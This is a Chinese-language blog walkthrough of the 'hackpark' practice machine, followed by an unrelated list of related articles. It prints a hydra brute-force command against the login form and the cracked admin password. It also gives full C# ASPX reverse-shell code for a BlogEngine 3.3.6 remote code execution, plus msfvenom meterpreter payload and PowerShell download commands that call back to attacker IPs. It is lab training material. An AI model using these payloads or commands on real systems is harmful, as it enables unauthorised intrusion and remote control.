【靶机】hackpack

简介: 本靶机有一定难度,适合进阶的小伙伴进行练习,初学者也可以参考学习。

hackpack

信息收集

Google识图:

小丑叫pennywise

┌──(zacarx㉿zacarx)-[~]
└─$ nmap -T4 -A 10.10.0.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-22 22:30 CST
Nmap scan report for 10.10.0.131
Host is up (0.33s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
| http-robots.txt: 6 disallowed entries 
| /Account/*.* /search /search.aspx /error404.aspx 
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2022-11-22T14:33:12+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2022-11-21T14:27:22
|_Not valid after:  2023-05-23T14:27:22
|_ssl-date: 2022-11-22T14:33:20+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.14 seconds
                                                               

image-20221122224009234

image-20221122224319845

attack

爆破神器

hydra -l -P /usr/share/wordlists/ http-post-form

hydra -l admin -P '/usr/share/wordlists/rockyou.txt' 10.10.0.131 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=LCLaTYGEYLxbjKKaZYx%2BT%2FOclzbGSOKTFCYmfNf8P0IanNxJxwDsKqJK5nIwt1TynRTD%2FOdM8FL95vDS9avG20JM7VjaSSLtgglOAo%2FHyuC0UO9A%2FacJfC8D%2BVPuDCWt5YdgmZNX5Ri5bHnHwxoeXxdHmo2gRGkvbji1NcKcoxGcn2LZ&__EVENTVALIDATION=0w0yErw7W2ifmWf6d6SF5Nz4ZJGZtbtXnXAR%2BAcDifJTOH%2FUzj0g1jyDAerDFMn24MNE0G8xIsg1UUXykdI9vFuI2728pS0e71r2xbFtk4sQXKWG9r3l%2Fju9cEXoai%2FXDn8F8b6TQ0emte2GLj16enxLcN%2FdSFKn9qJPNElWM%2BPC2Orn&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95=Log+in:Login failed"

image-20221122230516046

image-20221122230601500

login admin

password 1qaz2wsx

进入后台发现

blogengine 3.3.6 有远程代码执行

原理很简单

应该可以掌握,不多说了

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.59.85", 4445)) {
        using(System.IO.Stream stream = client.GetStream()) {
            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                streamWriter = new System.IO.StreamWriter(stream);
                        
                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                p.Start();
                p.BeginOutputReadLine();

                while(true) {
                    strInput.Append(rdr.ReadLine());
                    p.StandardInput.WriteLine(strInput);
                    strInput.Remove(0, strInput.Length);
                }
            }
        }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
       StringBuilder strOutput = new StringBuilder();

           if (!String.IsNullOrEmpty(outLine.Data)) {
               try {
                    strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPOST= 9898 -e x86/shika_ga_nai -f exe -o 1.exe

http服务

python3 -m http.server 8880

powershell -c wget “http://ip/1.exe

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPORT=900 -f exe -o openme.exe
powershell -c wget "http://10.17.0.91:9988/openme.exe" -outfile "11.exe"

https://github.com/PowerShellMafia/PowerSploit

这个自己了解,困得不行了,xdm 安安 =-=

PEASS-ng/winPEAS/winPEASbat at master · carlospolop/PEASS-ng · GitHub

目录
相关文章
超好用的截图软件Snipaste(包含安装包)、如何设置Snipaste开机自启
这篇文章提供了Snipaste截图软件的介绍,包括它的功能、如何下载和安装,以及如何设置开机自启动的详细步骤。
|
6月前
|
安全 Apache PHP
文件上传--Upload-labs--Pass09(在某些版本里是Pass10)--点+空格+点 绕过
文件上传--Upload-labs--Pass09(在某些版本里是Pass10)--点+空格+点 绕过
|
6月前
|
安全 Java
BurpSuite插件 -- Struts2-RCE
BurpSuite插件 -- Struts2-RCE
90 0
|
Shell PHP 数据安全/隐私保护
CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)
217 0
|
存储 数据采集 监控
如何修复 WordPress Pharma Hack
如何修复 WordPress Pharma Hack Pharma Hack是隐藏的。因此,搜索和删除 WordPress Pharma Hack可能是一个漫长而乏味的过程。 北京六翼信息技术有限公司的开发工程给出以下建议:
如何修复 WordPress Pharma Hack
|
移动开发 JSON 前端开发
2021Kali系列 -- BurpSuite(XSS插件)
2021Kali系列 -- BurpSuite(XSS插件)
188 0
2021Kali系列 -- BurpSuite(XSS插件)
|
安全 Shell Linux
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
|
运维 数据可视化 测试技术
使用nw.js将web项目打包为exe软件(xp版本)
使用nw.js将web项目打包为exe软件(xp版本)
482 0
使用nw.js将web项目打包为exe软件(xp版本)
|
Web App开发 网络协议 Shell
Hack Knowledges
XSS(Cross-Site Scripting) Hacker PC -- upload XSS script to Web Server --> User PC Request for this Web Server --> Web Server response to the User PC...
849 0
kali下小脚本利用msf做payload生成管理
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396555 ...
1292 0